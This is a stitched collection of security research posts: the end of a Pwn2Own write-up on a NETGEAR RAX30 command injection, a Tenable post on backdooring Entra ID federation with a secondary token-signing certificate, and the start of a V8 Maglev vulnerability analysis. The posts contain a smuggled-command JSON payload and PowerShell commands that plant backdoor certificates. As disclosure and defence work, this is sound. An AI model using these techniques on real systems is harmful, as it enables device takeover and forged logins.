    "ePOCHTimeStamp": "1646392475",
    "modelNumber": "RAX30",
    "serialNumber": "6LA123BC456D7",
    "regionCode": "2",
    "reasonToCall": "1",
    "betaAcceptance": 0,
    "currentFWVersion": "V1.0.7.78"
}

Response

The following response is a typical response received from the https://devcom.up.netgear.com/UpBackend/checkFirmware/ endpoint.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "https://http.fw.updates1.netgear.com/rax30/auto"
}

Command injection response

The following response injects the command echo 1 > /sys/class/leds/led_usb/brightness into the URL parameter, which results in the USB 3.0 LED lighting up on the router.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "http://192.168.20.1:8888/fw/\";echo\\${IFS}'1'>/sys/class/leds/led_usb/brightness;\""
}

The URL must be a valid URL in order to successfully download it, therefore characters such as a space are not valid. The use of ${IFS} is a known technique to avoid using the space character.

Triggering in Pwn2Own

As you may recall, this vulnerability is randomly triggered between 01:00am and 04:00am each night, due to the /var/spool/cron/crontabs/cfu cron job. However, the requirements for Pwn2Own are that it must execute within 5 minutes of starting the attempt. Achieving this turned out to be more complex than finding and exploiting the vulnerability itself.

To overcome this issue, we had to find a way to remotely trigger the cron job. To do this, we needed to have the ability to control the time of the device. Additionally, we also had to predict the random time between 01:00am and 04:00am that the cron job would trigger at.

Controlling the device time

During our enumeration and analysis, we identified an HTTPS POST request which was sent to the URL https://devicelocation.ngxcld.com/device-location/syncTime. By changing the DNS lookup to resolve to our web server, we again could forge fake responses as the SSL certificate was not validated.

A typical JSON response for this request can be seen below:

{
    "_type": "CurrentTime",
    "timestamp": 1669976886,
    "zoneOffset": 0
}

Upon receiving the response, the router sets its internal date/time to the given timestamp. Therefore, by responding to this HTTPS request, we can control the exact date and time of the router in order to trigger the cron job.

Predicting the cron job time

Now that we can control the date and time of the router, we need to know the exact timestamp to set the device to, in order to trigger the cron job within 1 minute for the competition. To do this, we reverse engineered the logic which randomly sets the cron job time.

It was identified that the command pufwUpgrade -s runs on boot, which randomly sets the hour and minute part of a cron job time in /var/spool/cron/crontabs/cfu.

The code to do this was reversed to the following:

int main(int argc, char** argv)
{
    ...

    // Set the seed based on epoch timestamp
    int __seed = time(0);
    srand(__seed);

    // Get the next random number
    int r = rand();

    // Calculate the hours / minutes
    int cMins = (r % 180) % 60;
    int cHours = floor((double)(r % 180) / 60.0) + 1;

    // Set the crontab
    char command[512];
    snprintf(
        command,
        0x1ff,
        "echo \"%d %d * * * /bin/pufwUpgrade -A \" >> %s/%s",
        cHours,
        cMins,
        "/var/spool/cron/crontabs",
        "cfu"
    );
    pegaSystem(command);

    ...
}

As we can see, the rand seed is set via srand using the current device time. Therefore, by setting the seed to the exact value that is returned from time when this code is run, we can predict the next value returned by rand. By predicting the next value returned by rand, we can predict the randomly generated hour and minute values for the cron entry written into /var/spool/cron/crontabs.

For this, we first get the current timestamp of the device from the checkFirmware request we saw earlier:

...
"ePOCHTimeStamp": "1646392475",
...

Next, we calculate the number of seconds that have occurred between receiving this device timestamp, and the time(0) function call occurring. We do this by viewing the hour and minute values written into /var/spool/cron/crontabs on the device, and then brute forcing the timestamps starting from the ePOCHTimeStamp until a match is found.

Although the boot time varied, the difference was consistently less than 1 second. From our testing, the most common time it took from the ePOCHTimeStamp being received to reaching the time(0) function call was 66 seconds, followed by 65 seconds.

Therefore, by using a combination of receiving the current timestamp of the device and knowing that on average it would take 66 seconds to reach the time(0), we could determine the next value returned by rand, thereby knowing the exact timestamp that would be set for the cron job to trigger. Finally, responding to the syncTime HTTPS request to set the timestamp to 1 minute before the cron job executes.

Geographical Differences?

Pwn2Own Toronto was a day away, and some of the exploit development group (EDG) members traveled to Toronto, Canada for the competition. However, when doing final tests in the hotel before the event, the vulnerability was not triggering as expected.

After hours of testing, it turned out that the average time to boot had changed from 66 seconds to 73 seconds! We are not sure why the device boot time changed from our testing in the UK to our testing in Canada.

Did it work?

All in all, it was a bit of a gamble on if this vulnerability was going to work, as the competition only allows you to attempt the exploit 3 times, with a time limit of 5 minutes per attempt. Therefore, our random chance needed to work at least once in three attempts.

Luckily for us, the timing change and predictions worked out and we successfully exploited the NETGEAR on the WAN interface as seen on Twitter.

Unfortunately the SSL validation issue was classed as a collision and N-Day as the StarLabs blog post was released prior to the event, however all other vulnerabilities were unique zero days.

Patch

The patch released by NETGEAR was to enable SSL verification on the curl HTTPS request as seen below:

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1);
    ...
}

This will prevent an attacker using a self-signed web application from sending malicious responses, however the saveCfuLastFwpath function containing the system call itself was not modified as part of the patch.

Conclusion

If this interests you, the following blog posts cover more research from Pwn2Own Toronto 2022:

• Puckungfu: A NETGEAR WAN Command Injection
• NETGEAR Routers: A Playground for Hackers?
• MeshyJSON: A TP-Link tdpServer JSON Stack Overflow

You can also keep notified of future research from the following Twitter profiles:

• @NCCGroupInfosec
• @_mccaulay
• @alexjplaskett
• @fidgetingbits
• @saidelike
• @thezdi

Exploiting Entra ID for Stealthier Persistence and Privilege Escalation using the Federated Authentication’s Secondary Token-signing Certificate

Summary

Microsoft Entra ID (formerly known as Azure AD) offers a feature called federation that allows you to delegate authentication to another Identity Provider (IdP), such as AD FS with on-prem Active Directory. When users log in, they will be redirected to the external IdP for authentication, before being redirected back to Entra ID who will then verify the successful authentication on the external IdP and the user’s identity. This trust is based on the user returning with a token that is signed by the external IdP so that Entra ID can verify that it was legitimately obtained (i.e. not forged) and that its content is correct (i.e. not tampered with) 🔐

The external IdP signs the token with a private key, which has an associated public key stored in a certificate. To make this work, you need to configure this certificate in Microsoft Entra ID, along with other configuration for the federated domain. It accepts two token-signing certificates in the configuration of a federated domain, and both are equally accepted as token signers! 💥 This is by design to allow for automatic certificate renewal near its expiry. However, it’s important to note that this second token-signing certificate may be overlooked by defenders and their security tools! 👀

In this post, I’ll show you where this certificate can be found and how attackers can add it (given the necessary privileges) and use it to forge malicious tokens. Finally, I will provide some recommendations for defense in light of this.

This was discovered by Tenable Research while working on identity security.

Federation?

To learn more about federation and how attackers can exploit it to maintain or increase their privileges in an Entra tenant, please read my previous article ➡️ “Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation”. Note that in this article I described that a malicious or compromised user, who is assigned any of the following built-in Entra roles (as of January 2024), has the power to change federation settings, including both token-signing certificates:

• Global Administrator
• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

If the attacker gets their hands on a SAML token-signing certificate, for example by adding their own to the configuration as described in this post, they can forge arbitrary tokens that allow them to authenticate as anyone.

The corresponding MITRE ATT&CK techniques are:

• T1484.002 “Domain Policy Modification: Domain Trust Modification” for the initial operation where the attacker adds a secondary token-signing certificate
• T1606.002 “Forge Web Credentials: SAML Tokens” for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity

Previous work

The technique of abusing federation was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

The threat actor must first compromise an account with permission to modify or create federated realm objects.

These mentioned permissions are given by the roles previously listed. The main way is to modify the current token-signing certificate, stored in the “signingCertificate” attribute of the federation configuration. But this has the disadvantage of temporarily breaking the authentication and thus making the attack somewhat visible.

In the same (2021) paper, Mandiant also described a variant, where the attacker adds a secondary token-signing certificate instead of changing the main one:

A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.

So while this article will not unveil anything new 😔, it does aim to shed more light on this lesser-known issue 😉

Interest for attackers

Do you wonder how this secondary token-signing certificate can be useful for attackers, and why should you care?

The first interest is that mature cyber organizations and security tools are already scanning and monitoring the primary token-signing certificate. So attackers may leverage this lesser-known secondary token-signing certificate for a stealthier attack.

Moreover, if an attacker replaces the normal primary token-signing certificate with their own, they will (temporarily) disrupt the authentication for regular users, which is not discreet! Using the secondary certificate instead does not have this breaking side effect and thus is stealthier. An alternative would be to register a new federated domain, but this rarely happens normally, so it might also raise alarms.

I believe this technique will become even more popular among attackers now that the latest version of AADInternals by Dr. Nestori Syynimaa, 0.9.3 published in January 2024, will automatically inject the backdoor certificate as a secondary token-signing certificate in case the domain is already federated:

Modified ConvertTo‑AADIntBackdoor to add backdoor certificate to NextSigningCertificate if the domain is already federated.

With this new knowledge we also understand why Microsoft recommends in their “Emergency rotation of the AD FS certificates” article to renew the token-signing certificate twice because:

You’re creating two certificates because Microsoft Entra ID holds on to information about the previous certificate. By creating a second one, you’re forcing Microsoft Entra ID to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Microsoft Entra ID with it, it might be possible for the old token-signing certificate to authenticate users.

If you are an AD security veteran, it certainly reminds you of something, and you are right 😉 Such a Golden SAML attack against cloud Entra ID is similar to the famous Golden Ticket attack against on-prem AD, and it’s interesting to see the same remediation guidance, which is to renew twice the token-signing certificate/krbtgt respectively, and it’s for the same reason!

Attribute/argument to manage the secondary token-signing certificate

As described in my previous article, there are several APIs available to interact with Entra ID. In the following we will see how a secondary token-signing certificate can be injected using the 🟥 Provisioning API / MSOnline (MSOL, which will be deprecated this year (2024) ⚠️), then using the 🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK. The colored squares 🟥🟩 are the same as in my previous article and they allow to visually distinguish both APIs.

When using the 🟩 MS Graph API, the configuration of a federated domain is returned as an internalDomainFederation object. The main certificate is in the signingCertificate attribute, and the second token-signing certificate is in the nextSigningCertificate attribute which is described as:

Fallback token signing certificate that can also be used to sign tokens, for example when the primary signing certificate expires. […] Much like the signingCertificate, the nextSigningCertificate property is used if a rollover is required outside of the auto-rollover update, a new federation service is being set up, or if the new token signing certificate isn’t present in the federation properties after the federation service certificate has been updated.

I helped Microsoft improve this description a little because the initial one, in my opinion, could be understood as if the second certificate were only usable during a rollover operation, whereas it can be used at any time simultaneously like the main certificate! I contacted MSRC first and they confirmed that it was working as intended.

When using the 🟥 Provisioning API (MSOnline), you can find arguments with the same names: -SigningCertificate and -NextSigningCertificate (proof that this secondary token-signing certificate has been here for a long time, i.e. it was not introduced recently with the MS Graph API).

Generate certificates

In the following examples, we will need two token-signing certificates that you can generate using these PowerShell commands:

$certStoreLocation = "cert:\CurrentUser\My"

$primary = New-SelfSignedCertificate -Subject "primary token-signing certificate" -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddDays(1)
$primary_certificate = [System.Convert]::ToBase64String($primary.GetRawCertData())
Get-ChildItem $($certStoreLocation + "\" + $primary.Thumbprint) | Remove-Item

$secondary = New-SelfSignedCertificate -Subject "secondary token-signing certificate" -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddDays(1)
$secondary_certificate = [System.Convert]::ToBase64String($secondary.GetRawCertData())
Get-ChildItem $($certStoreLocation + "\" + $secondary.Thumbprint) | Remove-Item

They delete the generated certificates because we only need their public part and not the private key for the demonstrations below, but of course, an attacker would keep the private key since it’s required to then generate forged tokens.

Convert a domain to federated including a secondary token-signing certificate

For each example below, the prerequisite is having a verified domain, but not yet converted to federated, and our goal is to convert it to federated with two certificates ⤵️

🟥 Provisioning API: using Set-MsolDomainAuthentication

Using Set-MsolDomainAuthentication:

Set-MsolDomainAuthentication `
    -DomainName $domain `
    -Authentication Federated `
    -SigningCertificate $primary_cert `
    -NextSigningCertificate $secondary_cert `
    -IssuerUri "https://example.com/$('{0:X}' -f (Get-Date).GetHashCode())" -LogOffUri "https://example.com/logoff" -PassiveLogOnUri "https://example.com/logon"

And we can check that we do indeed see both certificates:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

🟩 MS Graph API: using New-MgDomainFederationConfiguration

Using New-MgDomainFederationConfiguration:

New-MgDomainFederationConfiguration `
    -DomainId $domain `
    -FederatedIdpMfaBehavior "acceptIfMfaDoneByFederatedIdp" `
    -SigningCertificate $primary_cert `
    -NextSigningCertificate $secondary_cert `
    -IssuerUri "https://example.com/$('{0:X}' -f (Get-Date).GetHashCode())" -SignOutUri "https://example.net/something" -PassiveSignInUri "https://example.net/something"

And we can check that we do indeed see both certificates:

PS> Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

Add a secondary token-signing certificate to an existing federated domain

For each example below, the prerequisite is having an already federated domain, but with just a primary token-signing certificate, and our goal is to add a secondary one ⤵️

🟥 Provisioning API: using Set-MsolDomainFederationSettings

First, check that it’s indeed a federated domain with just a primary token-signing certificate:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate :

Then, add a secondary certificate using Set-MsolDomainFederationSettings:

Set-MsolDomainFederationSettings `
    -DomainName $domain `
    -NextSigningCertificate $secondary_cert

Finally, we can check now that we do indeed see both certificates:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

🟥 Provisioning API: using AADInternals’ ConvertTo-AADIntBackdoor

Ensure we have the latest version of AADInternals (>= v0.9.3):

PS> Import-Module AADInternals
[...]  
v0.9.3 by @DrAzureAD (Nestori Syynimaa)

Using ConvertTo-AADIntBackdoor:

ConvertTo-AADIntBackdoor `
    -DomainName $domain `
    -AccessToken $at `
    -Verbose

The verbose output is clear enough:

VERBOSE: Domain example.net is Federated, modifying NextTokenSigningCertificate

And we can check again that we do indeed see both certificates:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

🟩 MS Graph API: using Update-MgDomainFederationConfiguration

Using Update-MgDomainFederationConfiguration:

$fedconf = Get-MgDomainFederationConfiguration -DomainId $domain
Update-MgDomainFederationConfiguration `
    -DomainId $domain `
    -InternalDomainFederationId $fedconf.Id `
    -NextSigningCertificate $secondary_cert

And we can check that we do indeed see both certificates:

PS> Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

Proof that both token-signing certificates work simultaneously

Since the beginning I’ve been telling you that both token-signing certificates are accepted as signers, even if the primary is not expired, but I owe you a proof after all! In the following example, I create two different certificates as described previously and extract their private keys. Then I convert the domain to federated with both token-signing certificates configured, which you can see in the output at the bottom. Finally, I successfully authenticate with a ticket forged with each token-signing certificate private key using Open-AADIntOffice365Portal (to make it work, I had to fix an unrelated bug brought in v.0.9.3 of AADInternals):

Recommendations for defense

The main recommendations are the same as in my previous article.

🤔 Be careful about assigning the Entra roles that allow changing federation configuration, thereby adding a secondary token-signing certificate:

• Global Administrator
• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

🔍 Audit and monitor the configuration of your federated domain(s) to detect the potential already existing, or future, backdoors. Here is a PowerShell oneliner to list your federated domains and their configured SigningCertificate/NextSigningCertificate:

Get-MgDomain | Where-Object { $_.AuthenticationType -eq "Federated" } | ForEach-Object { $_ ; Get-MgDomainFederationConfiguration -DomainId $_.Id | select SigningCertificate,NextSigningCertificate }

🆘 Seek assistance from Incident Response specialists with expertise on Entra ID in case of suspicion

😑 Migrating away from federated authentication (i.e. decommissioning AD FS), has many advantages and is recommended by Microsoft, but it does not protect against this. It only makes it easier to detect it because any new “federated” domain, or any change in “federation” settings, should raise an alert 🚨

🚨 On the subject of monitoring, you can “Monitor changes to federation configuration in your Microsoft Entra ID” as recommended by Microsoft. Which is made easier if your organization doesn’t use (anymore) federation (as written above). But unfortunately the “Set federation settings on domain” AuditLogs event doesn’t contain the information allowing you to determine if the modification affected the token-signing certificates, and even if it did, there are no details on the certificates themselves as you can see:

🙈 Finally, since this secondary token-signing certificate can be a blind spot, ensure that your security tools can monitor and scan both certificates for anomalies. Tenable Identity Exposure has several Indicators of Exposure (IoEs) related to federation (“Known Federated Domain Backdoor”, “Federation Signing Certificates Mismatch”, and more to come!), and of course we designed them so they cover both certificates 😉

Stealthy Persistence & PrivEsc in Entra ID by using the Federated Auth Secondary Token-signing Cert. was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

By Javier Jimenez and Vignesh Rao

Overview

In this blog post we take a look at a vulnerability that we found in Google Chrome’s V8 JavaScript engine a few months ago. This vulnerability was patched in a Chrome update on 16 January 2024 and assigned CVE-2024-0517.

The vulnerability arises from how V8’s Maglev compiler attempts to compile a class that has a parent class. In such a case the compiler has to lookup all the parent classes and their constructors and while doing this it introduces the vulnerability. In this blog we will go into the details of this vulnerability and how to exploit it.

In order to analyze this vulnerability in V8, the developer shell included within the V8 project, d8, is used. After compiling V8, several binary files are generated and placed in the following directories:

• Debug d8 binary: ./out.gn/x64.debug/d8
• Release d8 binary: ./out.gn/x64.release/d8

V8 performs just-in-time (JIT) compilation of JavaScript code. JIT compilers perform a translation of a high-level language, JavaScript in this case, into machine code for faster execution. Before diving into the analysis of the vulnerability, we first discuss some preliminary details about the V8 engine that are needed to understand the vulnerability and the exploit mechanism. If you are already familiar with V8 internals, feel free to skip to the Vulnerability section.

Preliminaries

V8 JavaScript Engine

The V8 JavaScript engine consists of several components in its compilation pipeline: Ignition (the interpreter), Sparkplug (baseline compiler), Maglev (the mid-tier optimizing compiler), and TurboFan (the optimizing compiler). Ignition is a register machine that generates bytecode from the parsed abstract syntax tree. One of the phases of optimization involves identifying code that is frequently used, and marking such code as “hot”. Code marked as “hot” is then fed into Maglev and if run more times, into TurboFan. In Maglev it is analyzed statically gathering type feedback from the interpreter, and in Turbofan it is dynamically profiled. These analyses are used to produce optimized and compiled code. Subsequent executions of code marked as “hot” are faster because V8 will compile and optimize the JavaScript code into the target machine code architecture and use this generated code to run the operations defined by the code previously marked as “hot”.

Maglev

Maglev is the mid-tier optimizing compiler in V8. It sits just after the baseline compiler (Sparkplug) and before the main optimizing compiler (Turbofan).

Its main objective is to perform fast optimizations without any dynamic analysis, only the feedback coming from the interpreter is taken. In order to perform the relevant optimizations in a static way, it supports itself by creating a Control Flow Graph (CFG) populated by nodes; known as the Maglev IR.

Running the following snippet of JavaScript code via out/x64.debug/d8 --allow-natives-syntax --print-maglev-graph maglev-add-test.js:

				
					function add(a, b) {
  return a + b;
}

%PrepareFunctionForOptimization(add);
add(2, 4);
%OptimizeMaglevOnNextCall(add);
add(2, 4);
				
			

The developer shell d8 will first print the interpreter’s bytecode

				
					   0 : Ldar a1
   2 : Add a0, [0]
   5 : Return
				
			

Where:

• 0: Load the register a1, the second argument of the function, into the interpreter’s accumulator register.
• 2: Perform the addition with the register a0, the first argument, and store the result into the accumulator. Finally store the profiling (type feedback, offsets in memory, etc.) into the slot 0 of the inline cache.
• 5: Return the value that is stored in the accumulator.

These in turn have their counterpart representation in the Maglev IR graph:

				
					    1/5: Constant(0x00f3003c3ce5 ) → v-1, live range: [1-11]
    2/4: Constant(0x00f3003dbaa9 ) → v-1, live range: [2-11]
    3/6: RootConstant(undefined_value) → v-1
 Block b1
0x00f3003db9a9  (0x00f30020c301 )
   0 : Ldar a1
    4/1: InitialValue() → [stack:-6|t], live range: [4-11]

[1]

    5/2: InitialValue(a0) → [stack:-7|t], live range: [5-11]
    6/3: InitialValue(a1) → [stack:-8|t], live range: [6-11]
    7/7: FunctionEntryStackCheck
         ↳ lazy @-1 (4 live vars)
    8/8: Jump b2
      ↓
 Block b2
     15: GapMove([stack:-7|t] → [rax|R|t])
   2 : Add a0, [0]
         ↱ eager @2 (5 live vars)

[2]

    9/9: CheckedSmiUntag [v5/n2:[rax|R|t]] → [rax|R|w32], live range: [9-11]
     16: GapMove([stack:-8|t] → [rcx|R|t])
         ↱ eager @2 (5 live vars)
  10/10: CheckedSmiUntag [v6/n3:[rcx|R|t]] → [rcx|R|w32], live range: [10-11]
         ↱ eager @2 (5 live vars)
  11/11: Int32AddWithOverflow [v9/n9:[rax|R|w32], v10/n10:[rcx|R|w32]] → [rax|R|w32], live range: [11-13]
   5 : Return
  12/12: ReduceInterruptBudgetForReturn(5)

[3]

  13/13: Int32ToNumber [v11/n11:[rax|R|w32]] → [rcx|R|t], live range: [13-14]
     17: GapMove([rcx|R|t] → [rax|R|t])
  14/14: Return [v13/n13:[rax|R|t]]
				
			

At [1], the values for both the arguments a0 and a1 are loaded. The numbers 5/2and 6/3 refer to Node 5/Variable 2 and Node 6/Variable 3. Nodes are used in the initial Maglev IR graphs and the variables are used when the final register allocation graphs are being generated. Therefore, the arguments will be referred by their respective Nodes and Variables. At [2], two CheckedSmiUntag operations are performed on the values loaded at [1]. This operation checks that the argument is a small integer and removes the tag. These untagged values are now fed into Int32AddWithOverflow that takes the operands from v9/n9 and v10/n10 (the results from the CheckedSmiUntag operations) and places the result in n11/v11. Finally, at [4], the graph converts the resulting operation into a JavaScript number via Int32ToNumber of n11/v11, and places the result into v13/n13 which is then returned by the Return operation.

Ubercage

Ubercage, also known as the V8 Sandbox (not to be confused with the Chrome Sandbox), is a new mitigation within V8 that tries to enforce memory read and write bounds even after a successful V8 vulnerability has been exploited.

The design involves relocating the V8 heap into a pre-reserved virtual address space called the sandbox, assuming an attacker can corrupt V8 heap memory. This relocation restricts memory accesses within the process, preventing arbitrary code execution in the event of a successful V8 exploit. It creates an in-process sandbox for V8, transforming potential arbitrary writes into bounded writes with minimal performance overhead (roughly 1% on real-world workloads).

Another mechanism of Ubercage is Code Pointer Sandboxing, in which the implementation removes the code pointer within the JavaScript object itself, and turns it into an index in a table. This table will hold type information and the actual address of the code to be run in a separate isolated part in memory. This prevents attackers from modifying JavaScript function code pointers as during an exploit, initially, only bound access to the V8 heap is attained.

Finally, Ubercage also signified the removal of full 64bit pointers on Typed Array objects. In the past the backing store (or data pointer) of these objects was used to craft arbitrary read and write primitives but, with the implementation of Ubercage, this is now no longer a viable route for attackers.

Garbage Collection

JavaScript engines make intensive use of memory due to the freedom the specification provides while making use of objects, as their types and references can be changed at any point in time, effectively changing their in-memory shape and location. All objects that are referenced by root objects (objects pointed by registers or stack variables) either directly, or through a chain of references, are considered live. Any object that is not in any such reference is considered dead and subject to be free’d by the Garbage Collector.

This intensive and dynamic usage of objects has led to research which proves that most objects will die young, known as the “The Generational Hypothesis”^[1], which is used by V8 as a basis for its garbage collection procedures. In addition it uses a semi-space approach, in order to prevent traversing the entire heap-space in order to mark alive/dead objects, where it considers a “Young Generation” and an “Old Generation” depending on how many garbage collection cycles each object has managed to survive.

In V8 there exist two main garbage collectors, Major GC and Minor GC. The Major GC traverses the entire heap space in order to mark object status (alive/dead), sweep the memory space to free the dead objects, and finally, compact the memory depending on fragmentation. The Minor GC, traverses only the Young Generation heap space and does the same operations but including another semi-space scheme, taking surviving objects from the “From-space” to the “To-space” space, all in an interleaved manner.

Orinoco is part of the V8 Garbage Collector and tries to implement state-of-the-art garbage collection techniques, including fully concurrent, parallel, and incremental mechanisms for marking and freeing memory. Orinoco is applied to the Minor GC as it uses parallelization of tasks in order to mark and iterate the “Young generation”. It is also applied to the Major GC by implementing concurrency in the marking phases. All of this prevents previously observable jank and screen stutter caused by the Garbage Collector stopping all tasks with the intention of freeing memory, known as Stop-the-World approach.^[2]

Object Representation

V8 on 64-bit builds uses pointer compression. This is, all the pointers are stored in the V8 heap as 32-bit values. To distinguish whether the current 32-bit value is a pointer or a small integer (SMI), V8 uses another technique called pointer tagging:

• If the value is a pointer, it will set the last bit of the pointer to 1.
• If the value is a SMI, it will bitwise left shift (<<) the value by 1. Leaving the last bit unset. Therefore, when reading a 32-bit value from the heap, the first thing that is checked is whether it has a pointer tag (last bit set to 1) and if so the value of a register (r14 on x86 systems) is added, which corresponds to the V8 heap base address, therefore decompressing the pointer to its full value. If it is a SMI it will check that the last bit is set to 0 and then bitwise right shift (>>) the value before using it.

The best way to understand how V8 represents JavaScript objects internally is to look at the output of a DebugPrint statement, when executed in a d8 shell with an argument representing a simple object.

				
					d8＞ let a = new Object();
undefined
d8＞ %DebugPrint(a);
DebugPrint: 0x3cd908088669: [JS_OBJECT_TYPE]
 - map: 0x3cd9082422d1 ＜Map(HOLEY_ELEMENTS)＞ [FastProperties]
 - prototype: 0x3cd908203c55 ＜Object map = 0x3cd9082421b9＞
 - elements: 0x3cd90804222d ＜FixedArray[0]＞ [HOLEY_ELEMENTS]
 - properties: 0x3cd90804222d ＜FixedArray[0]＞
 - All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 4
 - enum length: invalid
 - back pointer: 0x3cd9080423b5 ＜undefined＞
 - prototype_validity cell: 0x3cd908182405 ＜Cell value= 1＞
 - instance descriptors (own) #0: 0x3cd9080421c1 ＜Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)＞
 - prototype: 0x3cd908203c55 ＜Object map = 0x3cd9082421b9＞
 - constructor: 0x3cd90820388d ＜JSFunction Object (sfi = 0x3cd908184721)＞
 - dependent code: 0x3cd9080421b9 ＜Other heap object (WEAK_FIXED_ARRAY_TYPE)＞
 - construction counter: 0

{}

d8＞ for (let i =0; i＜1000; i++) var gc = new Uint8Array(100000000);
undefined
d8＞ %DebugPrint(a);
DebugPrint: 0x3cd908214bd1: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x3cd9082422d1 ＜Map(HOLEY_ELEMENTS)＞ [FastProperties]
 - prototype: 0x3cd908203c55 ＜Object map = 0x3cd9082421b9＞
 - elements: 0x3cd90804222d ＜FixedArray[0]＞ [HOLEY_ELEMENTS]
 - properties: 0x3cd90804222d ＜FixedArray[0]＞
 - All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 4
 - enum length: invalid
 - back pointer: 0x3cd9080423b5 ＜undefined＞
 - prototype_validity cell: 0x3cd908182405 ＜Cell value= 1＞
 - instance descriptors (own) #0: 0x3cd9080421c1 ＜Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)＞
 - prototype: 0x3cd908203c55 ＜Object map = 0x3cd9082421b9＞
 - constructor: 0x3cd90820388d ＜JSFunction Object (sfi = 0x3cd908184721)＞
 - dependent code: 0x3cd9080421b9 ＜Other heap object (WEAK_FIXED_ARRAY_TYPE)＞
 - construction counter: 0

{}

				
			

V8 objects can have two kind of properties:

• Numeric properties (e.g., obj[0], obj[1]): These are typically stored in a contiguous array pointed out by the elements pointer.
• Named properties (e.g., obj["a"] or obj.a): These are stored by default in the same memory chunk as the object itself. Newly added properties over a certain limit (by default 4) are stored in a contiguous array pointed out by the properties pointer.

It is worth pointing out that the elements and properties fields can also point to an object representing a hashtable-like data structure in certain scenarios where faster property accesses can be achieved.

In addition, it can be seen that after the execution of for (let i =0; i<1000; i++) var geec = new Uint8Array(100000000); which triggers a major garbage collection cycle, the a object is now part of OldSpace, this is the “Old Generation”, as depicted by the first line in the debug print data.

Regardless of the type and number of properties, all objects start with a pointer to a Map object, which describes the object’s structure. Every Map object has a descriptor array with an entry for each property. Each entry holds information such as whether the property is read-only, or the type of data that it holds (i.e. double, small integer, tagged pointer). When property storage is implemented with hash tables this information is held in each hash table entry instead of in the descriptor array.

				
					0x52b08089a55: [DescriptorArray]
 - map: 0x052b080421b9 <map>
 - enum_cache: 4
   - keys: 0x052b0808a0d5 
   - indices: 0x052b0808a0ed 
 - nof slack descriptors: 0
 - nof descriptors: 4
 - raw marked descriptors: mc epoch 0, marked 0
  [0]: 0x52b0804755d: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
  [1]: 0x52b080475f9: [String] in ReadOnlySpace: #b (const data field 1:d, p: 3, attrs: [WEC]) @ Any
  [2]: 0x52b082136ed: [String] in OldSpace: #c (const data field 2:h, p: 0, attrs: [WEC]) @ Any
  [3]: 0x52b0821381d: [String] in OldSpace: #d (data field 3:t, p: 1, attrs: [WEC]) @ Any</map>
				
			

In the listing above:

• s stands for “tagged small integer”
• d stands for double. Whether this is an untagged value or a tagged pointer depends on the value of the FLAG_unbox_double_fields compilation flag. This is set to false when pointer compression is enabled (the default for 64 bit builds). Doubles represented as heap objects consist of a Map pointer followed by the 8 byte IEEE 754 value.
• h stands for “tagged pointer”
• t stands for “tagged value”

JavaScript Arrays

JavaScript is a dynamically typed language where a type is associated with a value rather than an expression. Apart from primitive types such as null, undefined, strings, numbers, Symbol and boolean, everything else in JavaScript is an object.

A JavaScript object may be created in many ways, such as var foo = {}. Properties can be assigned to a JavaScript object in several ways including foo.prop1 = 12 and foo["prop1"] = 12. A JavaScript object behaves analogously to map or dictionary objects in other languages.

